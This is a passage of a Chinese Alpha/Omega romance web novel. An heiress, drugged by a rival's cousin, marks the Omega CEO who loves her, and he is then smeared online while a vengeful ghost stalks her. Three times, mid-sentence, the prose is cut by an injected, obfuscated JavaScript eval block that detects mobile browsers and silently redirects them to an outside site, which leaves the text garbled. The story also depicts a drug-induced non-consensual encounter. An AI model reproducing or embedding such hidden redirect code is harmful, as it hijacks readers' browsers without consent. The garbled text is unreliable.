她当即报了警,把有扰乱治安嫌疑的Omega交给警方。 从那之后,颜千澄很少再遇到这种不要脸面的引诱了。 现在…… 颜千澄狠咬舌尖,勉强压制着自己。 血腥味蔓延开来,理智回来了一点。 但很快,一波又一波的滚烫热潮,又模糊了她的理智。 这…… 他们到底用了多少Omega信息素? 这真的是Omega信息素吗?还是别的什么东西? 为什么,她好像出现幻觉了? 充血的视野中,原本是关景墨焦急恐慌的脸。 后来,变成颜千澄心心念念了很久很久,准备正式向他表白,想一辈子好好爱他宠他,“愿得一人心,白首不相离”(2)的那个人。 4. 第 4 章 颜千澄本来是要推开关景墨的。 幻象出现后,长久以来的思恋、连日来的疲惫伤痛、此时此刻身体上的痛苦难耐……一切一切,汇聚成无边无际的洪流,将她彻底淹没。 “我……我好难受……”抓紧眼前的幻象,颜千澄哑声喃喃,想要幻象的安慰。 幻象挣扎了一下。 迷糊中的颜千澄用力按紧他。 幻象嘴唇张张合合,像在喊着什么,颜千澄舔舔唇角被自己咬出的血,亲了上去。 幻象不动了。 之后的记忆,一片混乱。 记不清,颜千澄也不想记清。 那是她有生以来,最难以启齿的片段。 想到这里,颜千澄猛地移开视线,再次看向车窗外单调的风景,不愿再望关景墨一眼。 感知到颜千澄的厌恶,关景墨垂眸,心脏像被绞成一团的抹布,一阵阵难受。 其实,他今天早就到了。 在片场上,看见千澄赠花给那男Omega,抱他亲他,轻声细语,温柔宠溺…… 关景墨暗暗心酸,默默离开,在外面等了好久,等到时间差不多了,才再去找千澄。 片场休息室里的对话,关景墨是没听完整,但猜也能猜到,他们说了什么。 千澄很善良,拒绝别人的时候,总是清晰坚定,不会给人无谓的希望。 她也很温柔,尽量不伤别人的面子。 他,也曾被千澄温柔以待啊。 那时候,他们在读小学三年级。 有一天,放学铃一响,关景墨就匆匆忙忙收拾东西,离开教室,想赶紧回家。 可他还是没逃开,被隔壁班一群坏学生堵在一处偏僻角落。 Omega是受保护的,可坏孩子们哪懂那么多。 他们年纪小,也没到会怜香惜玉的阶段。 铺天盖地的拳头砸到脸上身上,关景墨很疼,可他硬是咬紧牙关,没吭一声。 “这家伙还在假清高,还当自己是有钱人家的大少爷呢。” “你们关家快破产啦,热搜上挂着呢。” “就算没破产,谁不知道你刚出生就没了爸爸,你妈续娶的那个Omega天天找人要偏方,想生个Alpha继承家业,你呀,就是个拿来卖钱的命,有什么好骄傲的?” …… 那时正值盛夏,附近几棵枝繁叶茂的大树传来阵阵蝉鸣,震耳欲聋。 关景墨眼睛发热,鼻子一阵阵酸涩。 蝉鸣声这么大,为什么还盖不过那些恶毒的话呢? 为什么,这么小的孩子,会讲出那样恶毒的话呢? 他没得罪过他们啊。 他知道自己不是个讨喜的孩子,可他真的不是假清高啊,也没骄傲啊,他只是从小性格内向,不爱说话而已啊。 对啊,之前为什么要急着回家呢? 回到家里,或许不用挨拳头,可他十有八九,会从后父嘴里,听到更恶毒的话啊…… “来,跪下舔舔我的鞋子,今天就放过你!” 大概是说累了,玩够了,领头的Omega朝被打趴在地上的关景墨伸出脚,一副大发慈悲的模样。 身为Omega,他比关景墨漂亮,比关景墨受欢迎,家里比关景墨家有钱。 但不知怎么的,就是看关景墨不顺眼,就要欺负他。 关景墨瞟了一眼面前的鞋子,淡淡移开视线,不说话,也不动。 他的态度再一次激怒了顽童们,领头的Omega一跺脚,娇声下令:“再给我打!我不信打不服他!” 关景墨闭上眼睛,捏紧拳头,暗暗告诫自己,要继续忍着,不能哭。 可预想中的拳打脚踢,却没落到他身上。 “住手!不许欺负他!” 他听到远处一声怒吼,脆生生的女孩声音,带着Alpha式的明朗张扬。 脸上身上的疼痛感、夏日的闷热、四周震耳欲聋的蝉鸣声,似都被她镇住压下。 关景墨睁开眼睛,看见女孩一阵风似的跑过来,在坏孩子头领面前站定。 落日的余晖透过头顶的树叶枝丫,落在她身上,泛起道道光晕,珠玉般华美,又远比珠玉温暖亲切。 小学三年级的女孩子,尚未真正发育,但她黑眸清亮,五官端丽贵气,姿容出尘。 有眼睛的都能看出,她将来必会成为一个引动无数Omega和Beta芳心的Alpha美女。 竟是颜千澄。 关景墨愣住了。 颜家与关家在商场上素有合作,颜千澄是颜家的大小姐,也是他的同班同学。 可无论在家族里,还是在学校里,关景墨与颜千澄的处境,都相差极远。 颜千澄是Alpha,生来就是天之骄女,颜氏集团无可争议的继承人。 而他是个Omega,生父早逝,生母和继父都不喜欢他,以后大概会被送去联姻吧。 哦,现在家里快破产了,他大概会与公司里的资产一起,被估价,被拿来还债? 在学校里,他默默无闻,偶尔会像这几天这样,不知怎么的得罪了人,被欺负,被辱骂踢打。 而颜千澄呢? 她学习好,从入学那天起,无论大考小考,都从来没掉出过年级前三。 她体育好,篮球足球乒乓球,长跑短跑跳远跳高……没有她不擅长的运动。 她人缘好,老师喜欢她,同学喜欢她,所有人都喜欢她。 她似乎天生就带着聚光灯,无论出现在哪里,都是最灿烂最明亮的星辰,所有人簇拥着她,赞美她,为她欢呼,为她疯狂尖叫。 颜千澄是天上月,而他关景墨,是地底泥。 之前每次遇见,两人顶多打个招呼,几乎没说过话。 关景墨从没想过,在自己最狼狈不堪的时候,那么优秀那么耀眼的颜千澄,会突然出现在他面前,张开手臂,把他护在她身后。 “你们为什么欺负他?” 关景墨听见颜千澄质问周围的坏孩子们。 坏孩子们被颜千澄一个人镇住了,紧张地面面相觑。 “我们……我们……没没没欺负他,只是在跟他玩,跟他玩,哈哈……” “对对对,跟他开个玩笑。” “千澄不要生气呀!” 颜千澄皱眉,环顾周围一圈,然后瞪向领头的家伙。 刚刚一起欺负过关景墨的坏孩子们,被颜千澄清亮的黑眸一扫,当场倒戈,纷纷以她为中心聚拢,一起瞪向他们的Omega头领。 Omega头领嘴唇动了几下,泄气了,小声抱怨一句:“千澄你管他干什么?” 颜千澄说:“我身为班长,班上的每一个同学,我都会罩着,不允许任何人欺负!” 关景墨忍了又忍,这一次,终于没忍住,泪水滑落下来。 坏孩子们灰溜溜地散去。 关景墨站起身,接过颜千澄递来的手帕,小声说了句“谢谢”。 颜千澄笑笑:“不客气,没事了,你不用哭了啦,以后他们再找你麻烦,你就跟我说,我会帮你的……哎,都说没事了,你怎么越哭越厉害了?” 当时,关景墨也不明白,刚刚被打得那么惨,他都能忍住不哭,为什么被千澄救下,已经安全了的时候,他却哭得停不下来。 他也从不知道,自己居然有这么多的泪水。 泪眼朦胧中,关景墨看见颜千澄在一旁干站着,一脸困惑。 原来,优秀出色,看上去无所不能的颜千澄,不会哄人。 关景墨不愿她为难,又生怕哭得太厉害,会惹她厌烦,努力控制自己,抽噎着说:“你好厉害,不愧是Alpha……” “Omega也能很厉害呀,我有个很喜欢的老戏骨也是Omega呢,”见关景墨开口说话,颜千澄松口气,赶紧帮他转移注意力,“我学他演一段给你看。” 说完,她就轻咳一声,摆了个帅气的姿势,绘声绘色道:“我的意中人是个盖世英雄,有一天他会脚踏彩云来迎娶我(1)。若他不来,我就自己成为盖世英雄,不乱于心,不困于情,不畏将来,不念过往(2),天地任我逍遥……” 背完台词,颜千澄眼睛亮亮看着关景墨:“我演得不错吧?” 关景墨乖顺点头,泪水擦来擦去擦不干净,但唇角已轻轻翘起…… 关景墨一直都知道,千澄那次救他,是因为她本来就是一个心地善良的人,对被欺凌的弱小,一直都愿意伸出援手。 她也是一个有责任感的班干部,他是班上的一员,于是千澄把他纳入保护范围内。 换成班上任何一个人被欺负,千澄都会挺身而出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891484|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。 对千澄来说,他关景墨,一点也不特别。 那个傍晚,于千澄而言,也没什么特别的。 只是一个举手之劳,一段很小很小的插曲罢了。 她的生活太精彩太忙碌,参加各项竞赛、参加校运会、在大大小小的场合作为代表演讲发言、学习各种乐器、结交各式各样的朋友,偶尔救助流浪动物…… 这段小小的插曲,很快被她淡忘了。 关景墨跟颜千澄,很快就恢复成之前那种,见面时点点头,几乎不说话的关系。 可在关景墨心里,那个蝉鸣阵阵闷热疼痛的傍晚,却是他此生最最珍贵的回忆。 这是自有记忆以来,第一次有人跟他说,Omega也能很厉害。 于是,关景墨不再顾影自怜,不再随波逐流,他努力做一个很厉害的Omega。 他鼓起勇气,去找关家的朋友,找关氏集团的合作伙伴,找生父生前的至交好友……他努力说服对方帮助集团渡过难关。 他年纪小,又是一个在世人眼中,只配待在家里生儿育女的Omega,他都数不清,那段时日挨过多少白眼嘲讽了。 但关景墨没有放弃,每次失败后,就总结经验教训,磨练说服技巧,继续努力尝试。 一个不行,就找下一个。 终于,他找到几个愿意帮助他的人。 他们有的是看在他先祖和生父的情分上,带着做慈善的心态,伸出援手拉他一把。 有的却是慧眼独具,在关景墨尚且稚嫩的言谈中,看出了他在商业上的惊人天份。 当时颜氏集团的掌舵人,颜千澄的祖母颜龄,就是这样一个眼光毒辣的人,在关氏的这场危难中,出钱出力,还几番提点关景墨。 脱离破产危机后,关景墨继续努力参与集团事务。 一开始,只是隐身幕后,躲在忠诚的集团高管背后出谋划策。 后来,他日渐成长成熟,开始有步骤地扩张势力。 花了很多功夫,历经艰辛,终于慢慢从幕后走到台前。 大学一毕业,他就正式出任关氏集团董事长兼总裁。 罕见的Omega总裁,一度挂在热搜,引发无数惊叹热议。 关景墨,终于成了一个很厉害的Omega。 他不再是校园霸凌的受害者,不再默默无闻。 偶尔有人对他表白示好。 可关景墨心里眼里,从来就只有一个颜千澄。 那个夏日傍晚,她挡在他身前保护他,真诚鼓励他的样子,他永远也忘不了。 从那天起,关景墨一直默默关注着颜千澄。 在参与集团事务的同时,关景墨追逐着颜千澄的脚步,努力跟她考同一间初中、高中、大学。 每次班长选举、学生会主席选举、各种评比……关景墨都会投票给她。 尽管颜千澄每次都能以极大优势当选,他那一票,根本就无关紧要。 关景墨看着千澄的舞台越来越大,看着越来越多的人追捧她。 他知道很多Omega、Beta甚至Alpha喜欢千澄,她每天都能收到一摞摞的情书。 关景墨也写过很多情书给她。 第一次写情书时,很害羞,修修改改,从早上写到半夜。 犹豫了很久,才偷偷把情书塞进她的抽屉里。 整个人从头到脚都是通红的。 后来,关景墨写情书时不再紧张,唇边还带着微笑。 因为他知道,千澄每天都收那么多的情书,她又那么忙,根本就没时间拆开看。 于是,关景墨把他隐蔽的心事、他的学习工作生活琐事、他的烦恼与憧憬,都写进一封封情书里,寄给他的精神支柱。 关景墨有时候会想,如果有一天,千澄知道,在整个少年时代,他都把她当树洞了,向她倾诉了很多跟她完全无关的乱七八糟的情绪,她会不会觉得厌烦呢? 关景墨知道,千澄最大的爱好是看电影,最喜欢模仿电影里的角色。 有句话,关景墨一直没机会对颜千澄说。 就算没有身披金甲圣衣,脚踏七彩祥云,她也是他的盖世英雄。 她是他的救赎,是他灰暗人生中,最明亮、最温暖的光芒。 至于“迎娶”…… 关景墨苦笑。 5. 第 5 章 关氏集团事务繁杂,关景墨不可能事事躬亲。集团的年度庆典,他的亲叔叔说想帮忙筹备。 关景墨一向务实,觉得年度庆典是小事,叔叔才能一般,但办个庆典应该没问题,就点了头。 当时,集团有几个大项目在推进,关景墨身边得力的部下几乎都调派出去了。 他自己用小部分精力处理集团事务。 大部分精力,用来调查突然出现在颜千澄身后的阴影。 关景墨曾在颜千澄父母背后,看过这样的阴影。 他不知道它是什么。 好像只有他能看见,别人看不见。 阴影是人形,身材高大,线条流畅健美,像个男性Alpha。 面目模糊,看不清五官。有时候它侧头,会显出高挺的鼻梁。 关景墨每次看到它,都会心头发寒。 他能感觉到,它满身戾气,像要毁灭整个世界。 浓重的恨意,几乎要化为实质。 它在半空飘荡,时远时近。 但一直牢牢锁定它的目标人物。 一开始是千澄的父亲,它跟了他一个月。 然后是千澄的母亲,它也跟了她一个月。 后来,它又回到千澄父亲的身后。 紧接着,关景墨听说,千澄的父亲突然情绪失控,开车带着千澄的母亲自杀了。 关景墨直觉,这事跟那阴影脱不了干系。 颜千澄的父母死后,关景墨惊恐地发现,那阴暗诡怪的影子,飘荡到千澄身后。 锁定了她。 关景墨爱颜千澄,爱了好久好久。 他永远记得,在他最艰难的时候,是千澄救了他。 现在千澄有危险,他一定要救她。 无论要付出什么代价,他都在所不惜。 他访寻奇人异士、翻阅典籍野史、投资各种研究机构…… 关景墨一直在忙,日日夜夜都在忙,生怕自己慢了一步,救不到千澄。 千澄要是不在了,他不知道自己会怎样。 等关景墨发现,叔叔家未成年的Omega儿子,他的堂弟,在颜千澄的休息室里做了手脚时,宴会已经开始,千澄中途身体不适,已经提前进去了。 关景墨一下子慌了,脑袋一片空白,心里只有一个声音在大声呼喊“千澄不能出事!绝对绝对绝对不能出事!” 他不管不顾的,自己一个人冲向颜千澄的休息室。 关景墨的下属们面面相觑。 有人觉得不妥,想劝阻他,被年长的使眼色制止了。 关景墨的堂弟知道,颜千澄对Omega的信息素抵抗力强。 他这次用的,是从黑市拍卖会高价拍得的古老配方药水。 没有解药。 只能把药力发泄出来。 关景墨的堂弟想通过这方式,让颜千澄完全标记他,让她对他负责,迎娶他进门。 也不想想,颜家的大小姐是出了名的挑,那么多人爱慕她,想嫁她,想上她的床,可这么多年来,有谁成功了吗? 关氏集团这次,是重重得罪颜千澄了。 颜千澄和她背后的颜氏集团,都是不好得罪的。 不小心得罪了,就要赔罪。 颜千澄是提前去休息室的,现在时间还早。 如果药还未起效,那还好。 关景墨过去,把人救出来,低头道个歉,颜千澄看在她的多年同学关景墨份上,看在关氏集团跟颜氏集团的合作关系份上,应该不会计较了。 如果药起效了…… 那,他们总得先送一个人,做她的“解药”。 关景墨的堂弟不行,他倒贴颜千澄好几年,颜千澄没给过他一点机会。 而且,这篓子是他捅出来的,送他过去,是如了他的愿,只会进一步激怒颜千澄。 送别的人过去? 颜家大小姐太挑了,他们一时之间,找不到合适的人选。 关景墨亲自过去……虽然颜千澄也不见得会高兴,但关景墨是关氏集团的实际掌控人,身份地位摆在那里,他拿自己做赔罪礼,多多少少能平息一下颜千澄的怒气吧。 而且…… 能在大集团混到核心管理层的,都是人精。 虽然关景墨从来不说,但他们怎会看不出,他喜欢颜家大小姐,喜欢得要命? 现在天时地利,身为有眼色的下属,怎能坏他的事? 说不定这次,关氏集团能因祸得福呢…… 关景墨的下属们前思后想,种种考虑。 平日思虑最周详的关景墨,反而什么也想不起来。 他只想着要救她。 他以为药还未起效。 他想着自己一定要快一点,再快一点,保护颜千澄脱离危险。 着急慌乱中,他完全没想到如果药起效了,他会如何。 直到,他被颜千澄压制住,整个身子陷入奢华松软的名牌沙发里。 隔着衣服,都能感受到她的滚烫。 关景墨用力挣扎。 他在商界呼风唤雨多年,在集团内外素有积威,很多人畏惧他。 讨厌他的人,顶多在言语上轻慢他,含沙射影地侮辱他,企图激怒他。 他位高权重,身边保镖环绕,无人敢对他动手动脚。 几年下来,关景墨有了“我不比Alpha差”的自信。 是的,他的确比大多数Alpha更聪明,更有才能。 可他忘了,他身为Omega,在体质力量上,始终是跟Alpha有着绝对差距的。 更何况是颜千澄这样正值青春,素有锻炼的优秀Alpha。 关景墨挣不开颜千澄的禁锢。 他张口,想喊人来。 不是要救他自己,是要救她。 心里最最在乎的人出事了,关景墨脑海一片混沌,一时想不明白,为什么只有他一个人来了,为什么他的下属和保镖都没跟来。 但正门外,应该有颜千澄的保镖。 只是,声音还未喊出来,就被颜千澄柔软的双唇堵住了。 关景墨整个人都傻了。 他一直都知道,千澄不喜欢他。 他在梦里都不敢想,千澄会亲他。 “给我……”他听见千澄低声哄他。 她那么痛苦那么难受,可她还在尽力克制自己,尽量温柔地对待他。 关景墨鼻子一酸,眼眶发热。 给她。 他的感情,他的身体,他的性命……所有所有的一切,他都愿意给她。 …… 门外,颜千澄的保镖听到不寻常的动静,开了点门缝,想看看老板是不是需要帮助。 看见里面的情形,吓了一跳。 虽然不知道,里头的Omega是怎么混进去的。 但老板已经完全压制住他了,主动的人是老板。 那,不该打扰她。 非礼勿视。 保镖赶紧关上门,不敢再看。 …… 关景墨短暂昏迷过。 醒来的时候,身上一阵阵的疼痛,提醒他,刚刚发生了什么。 关景墨一时羞涩难当,用手臂掩着脸,只觉得自己整个人都烧熟了,红透了。 羞涩中,又有满溢的甜蜜幸福,心里欢喜得想开出花来。 他被千澄完全标记了。 他是她的Omega了。 好像在做梦。 缓了好一会儿,关景墨鼓起勇气,看向他的Alpha。 他最最喜欢的人,也正注视着他。 两人视线相遇。 关景墨滚烫沸腾的血液,瞬间冰冻。 他一直都知道,千澄不爱他。 但多年同学,总有几分情分在。 以往,千澄看向他的目光,是温和的,友善的。 现在,所有的情分、温和与友善,通通消失了。 变成一片冰冷。 仿佛他是一个陌生人。 不,千澄正在审视他,重新评估他,警惕戒备他。 冰冷的眼眸里,有着清晰的敌意。 千澄……把他当敌人了…… “我的错,”关景墨听见颜千澄说,“相识多年,我太信任你了,对你少了防范,是我的错。” 她的声音,跟她的目光一样,冷冰冰,带着敌意。 关景墨整个人都木了。 他不能思考,忘了辩解。 只听见颜千澄继续冷冰冰地说:“穿好衣服,我已经通知警方了,林局很快就到。” 脑海一片混沌,关景墨什么也说不出口,哭也哭不出来,只机械地遵从颜千澄的吩咐,捡起地上的衣服裤子穿上。 像个没有生命的木偶。 衣服裤子有些破损。 药力太霸道,她已经尽量温柔,可还是伤了他。 关景墨极羞耻,努力拉扯破损的衣服,想遮住她留下的点点艳红。 一件东西丢过来。 关景墨认得,是千澄的披肩。 披肩暖暖的,带着她的体温。 关景墨躲躲闪闪地看向颜千澄。 她眉头微皱,脸色冰冷。 没有一丝一毫旖旎情意。 只有看押犯人的谨慎警惕。 她没有再说话,直到警察局林局长抵达。 “千澄,这么急喊我来,发生什么事了?”林局长家跟颜家是世交,算是看着颜千澄长大的,待她很温和,像家长对待自家小辈。 意外发生后,颜千澄一直表现得很冷静很沉稳,感受到林局长的关心,情绪一动荡,努力维持的冷静沉稳差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891485|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点崩了。 她深呼吸几下,然后,条理清晰地讲述之前的遭遇:她为什么出席关氏集团举办的活动,怎样中途来到休息室,关景墨怎样突然出现,她突然有怎样的感觉…… “我中的毒应该有致幻作用,我当时出现幻觉,把他当成别人了。” 关景墨听见颜千澄说。 她用的,是不带任何感情色彩,就事论事的平稳语调,以便警方迅速了解事情经过。 平平淡淡的一句话,却像利刃一般刺向关景墨。 他早该想到的啊。 那时候,迷乱中,他再也忍不住,失声喊:“千澄,千澄,我爱你,爱了很久很久了……” 她微笑,抱紧他,轻怜密爱,温柔无限:“我也爱了你很久很久,这几年,等你等得好苦……” 她从没爱过他,从没等过他。 那时候的表白与宠爱,不是给他的,他早该想到的。 关景墨的心,一直往下沉,一直往下沉,沉入深不见底的黑暗深渊。 之后颜千澄的话,他好像有听见,又好像没听见。 “我把他完全标记了,不是出于我自己的意愿。” “林伯伯,我知道Omega受法律保护,但我不愿这样被胁迫着,对不喜欢的人负责。” “希望警方立案调查,我要申请司法鉴定,要追究下药人的法律责任。” …… 颜千澄叙述完,和林局长一起,看向关景墨。 关景墨木木的坐着,眼神空洞。 林局长之前跟关景墨打过几次交道,一直颇欣赏他,从没见过他这副样子。 也从没想过,身为Omega,却比大多数Alpha更优秀更出色的关景墨,会卷入这种龌龊案件中。 等了好一会儿,也没等到关景墨的任何反应,林局长只得开口问:“景墨,刚刚千澄说的话,你都听到了吗?你有没有什么话要说?” 听到自己的名字,关景墨仍是木木的。 林局长暗暗评估关景墨的精神状态,放柔声音:“如果你什么也不说,依照现在的状况,我只能把你当成投毒嫌疑人,带去警察局审讯了。” 他说着,从怀里掏出银亮的手铐。 关景墨听见“投毒嫌疑人”时,突然惊醒。 他没看林局长,没看手铐,没在意别的事,只急急对颜千澄喊:“千澄,不是我,我绝对不会伤害你的,死也不会伤害你……” 颜千澄静静的看着他。 幽深的黑眸里,依旧是一片陌生的冰冷。 关景墨的辩解戛然而止。 关景墨视察关氏集团旗下拍卖行时,曾见过上古时代的琥珀。 据说是松柏科植物分泌树脂时,刚好有昆虫经过,树脂滴落到昆虫上,将其包裹。 昆虫挣扎不开,窒息而亡,与树脂一起石化、深埋,形成琥珀。 关景墨只觉得,自己整个心整个人,都被颜千澄冰冻陌生的目光完全封印。 他就像困在树脂里的昆虫一样,慢慢窒息,直至动弹不得。 手铐最终没锁到关景墨手腕上,他的下属收到消息,押着堂弟过来。 关景墨看着颜千澄认真听他下属辩解,和法医一起阅读药品说明书,交流意见…… 看着她看他的眼神,渐渐恢复温度。 关景墨才感觉自己活过来了。 然后,他就听见堂弟的痛骂:“关景墨你这个贱.人!世上最不要脸的Omega!黑心肠的东西!谁不知道你暗恋颜千澄!你肯定是故意的!你知道我买了药,等我做好一切准备,就抓住我,自己跑来让颜千澄睡!不然就凭你一副Alpha的模样,颜千澄怎会睡.你!坏事让我做,好处你抢走!不要脸的贱.人!你去死吧!!!” 一屋子的人都看向关景墨。 他的婶婶小声嘀咕:“一个Omega,不好好安分守己,霸占了集团,还要跟堂弟抢Alpha……” 他的叔叔哀求:“景墨,你跟林局长和颜千澄说说,请他们饶了你弟弟,他还是个孩子,不懂事,没有坏心思的……” 他的儿子年纪小,没有坏心思。 所以,有坏心思的,是年纪稍微大些,从他儿子闯的祸里得到好处的关景墨。 关景墨的下属们怕他尴尬,移开视线,装作什么也没听见。 跟随关景墨多时,见过他在商场上运筹帷幄、算无遗策的模样,在他们心里,关景墨早就不是普通的Omega了。 甚至可以说,他性格里有灰色的部分,不是纯粹意义上的好人。 堂弟下药,设计颜千澄,关景墨是不是早就知道…… 是不是将计就计,玩“螳螂捕蝉,黄雀在后”的把戏…… 之前的焦急和现在的呆愣,到底是不是演戏…… 他们不知道,也不敢问。 6. 第 6 章 投毒嫌疑人死死咬紧关景墨,他的处境又开始变得不利。 关景墨只看着颜千澄。 每一次,颜千澄在场的时候,他的心里眼里,就只有她一个人。 他不在乎被别人骂,别人怎样看他都没关系,他唯独不愿被颜千澄误会。 他是想好好解释的,可一对上颜千澄,他的嘴总会变得很笨,只会苍白无力地重复:“我之前真的不知道……我从来没想过要害你……” 心里千言万语,说不出来,只能默默祈求。 我知道,你不爱我。 可是,拜托了,不要讨厌我,好不好? 颜千澄看他的眼神,没有一开始那样冰冷,但也没多温暖。 她没跟他说话,转头对林局长说:“我不清楚内情,麻烦林伯伯帮我调查清楚。” 关景墨的心起起落落。 她只信任警察局。 没听信堂弟的污蔑。 也没相信他。 关景墨的叔叔婶婶哀求:“颜小姐,我们的儿子还小……” “能做出这种事,不小了,”颜千澄面若寒霜,“做错了事,就要付出代价。到时候法院判多少年,是法院的事,但我一定要追究他的法律责任。” 表完态,她没再理会苦苦纠缠的关家叔婶、崩溃哭闹的堂弟和呆若木鸡的关景墨,跟林局长点头告别,就在保镖的簇拥中,头也不回地离开了。 颜千澄坚持要追究,关景墨的堂弟罪证确凿,被送入少管所服刑。 没有证据证明关景墨早知堂弟投毒,放任他犯罪。 药物不稳定,提前起效了,但关景墨进入颜千澄休息室时,理论上药物应该还未起效。 根据疑罪从无的原则,关景墨无罪释放。 因为关景墨的堂弟还未成年,案件不公开审理。 但关景墨的叔叔婶婶想救儿子,到处奔走,把事情闹大了。 网上议论纷纷。 案件不公开审理,不公布具体细节,给人们更多的想象空间。 “关景墨肯定早就知道。” “好可怕的心计,好狡猾的人!” “可怜的堂弟,被关景墨利用得彻彻底底,罪全让他受了,好处全让关景墨得了。” “这样的贱O,到底什么时候有报应?” “世上最不要脸的Omega,没有之一!” 身为Omega,却像Alpha一样争权夺利,不乖乖联姻生儿育女,关景墨的名声本来就不好。 现在,他居然使肮脏手段,强求Alpha睡他? 还要不要脸?有没有廉耻? 什么?肮脏手段不是他使的? 没有证据证明他早就知情? 那,有证据证明,他之前真的一点也不知道?真的没想过要将计就计? 一个能爬上集团董事长兼总裁位子的Omega,谁会相信,他是一只无辜的小白兔呀? 最让人愤怒的是,他算计的,居然是颜千澄! 无数人心目中最美最优秀最想嫁的Alpha! 爱慕颜千澄的Omega和Beta群情汹涌,谴责关景墨,为颜千澄不值。 不认识颜千澄的人,有的在看到她的照片后,也加入了声讨关景墨的大军。 有的人仇富,关景墨有钱,是资本家,反正骂他就对了。 有的人活了半生一事无成,见关景墨一个Omega居然那么成功,骂他顺顺气。 人们骂着骂着,真相越来越歪曲。堂弟的存在被淡化,所有矛头都指向既得利益者关景墨。 第一波吃瓜群众,说关景墨利用了堂弟。 第二波吃瓜群众,以为药是关景墨亲自下的。 第三波吃瓜群众,以为关景墨热潮期时,故意没打抑制剂,引诱颜千澄。 比起下药,利用热潮期引诱Alpha,似乎算不上什么大罪过。 但不是人人都能去黑市拍卖行高价拍下药水。 而所有成年Omega都有热潮期。 很多Omega认为,他们也是可以去引诱颜千澄的,只不过他们是贤良淑德的好O,没关景墨那么不要脸,没他那么坏,所以他们没能让颜千澄注意到他们,多看他们一眼,而关景墨就能成功爬上颜千澄的床,得到她的完全标记。 所以,关景墨最可恨。 一时,关景墨沦为全网黑,仿佛全世界都在骂他。 因为他的性别,在恶毒刻薄的咒骂中,还夹杂着不少污言秽语。 再坚强的心,也是会疼的。 但关景墨没时间安抚自己的心情,他终于寻到救颜千澄的一线希望了,他很高兴。 庭审那天,他将这段时间搜罗到的奇人异士,安排在临街的一个房间。 颜千澄出入法庭时,他们能看到她。 等庭审结束,关景墨抹抹酸痛发红的眼睛,就匆匆赶去,一个接一个地跟奇人异士面谈。 奇人异士也会上网的。 他们先是一面惊叹,大赞关景墨命格奇特,有机会嫁入豪门,命中的Alpha相貌出众又样样优秀,然后长叹一声,说这份姻缘波折重重,要化解化解才行,接着,就向关景墨推销他们的化解套餐、风水阵、以及姻缘符转运珠粉水晶五帝钱木葫芦招财猫等物件。 他们像是一个培训机构出来的,除了卖的东西不一样,价格不同,别的都差不多。 关景墨越听越失望,直到一个名叫姚甜甜,年纪轻轻打扮新潮,完全不像高人的女Beta,皱着眉头跟他说:“那女Alpha……我建议你不要跟她走太近,搞不好会有生命危险的。” “怎么说?”关景墨问。 姚甜甜犹豫着,看看周围。 关景墨让身边的人出去守门。 姚甜甜又迟疑了一会儿,才慢吞吞地说:“我也不是很确定,刚刚我好像看到,她身后有个怨灵。” 她能看见! 关景墨精神大振:“怨灵?” 姚甜甜盯着他看了一会儿,也猛地精神大振,眼睛亮得吓人:“你也看见了对不对?啊啊啊啊啊,原来我真的没看错啊!哇哈哈哈哈哈,我终于碰上灵异事件了!” 关景墨:“……” 这人,看起来也不是很靠谱。 可他观察过千澄身边的人,也找过很多奇人异士了,她是唯一一个,能看到颜千澄背后有影子的。 关景墨调整心态,耐心询问:“怨灵是什么?请你详细说说。” 见他一脸严肃,姚甜甜不敢跳弹了,老老实实回答:“有些人天生灵魂强大,如果他们含恨而死,死得特别痛苦,死的时候,刚巧周边环境合适,他们就会化为怨灵,将害他们的人杀死。” “千澄没害过人!”关景墨急了,“她从来不会无缘无故伤害别人一分一毫!她是很好很好的……” 姚甜甜摸摸手臂上的鸡皮疙瘩,想吐槽一句“你恋爱脑吗?用不用赞得那么肉麻”,突然想起关景墨现在是她的老板,赶紧忍住,在脑海里回忆颜千澄的模样。 哦哦,好美好美的人,怪不得他啊,要不是颜千澄背后有怨灵,她也好想去求个贴贴。 正事要紧,姚甜甜努力去掉美貌滤镜,分析颜千澄的面相:“唔……颜千澄这人鼻头圆润,眸正神清,眼神柔和……的确是个心地良善的好人,可她的父母宫看上去有点奇怪,她父母是不是已经去世了?横死的?” 关景墨仔细观察姚甜甜,评估她的可靠程度:“你不知道?” 姚甜甜双手一摊:“不知道,我之前在深山里待了三个月,刚回 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15891486|176482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来。” 关景墨斟酌着,把颜千澄父母的事告诉她。 姚甜甜一拍大腿:“那就是了!怨灵恨的是颜千澄的父母,弄死他们后,觉得还不解气,就盯上颜千澄!” 关景墨着急:“可是,千澄是无辜的啊!” 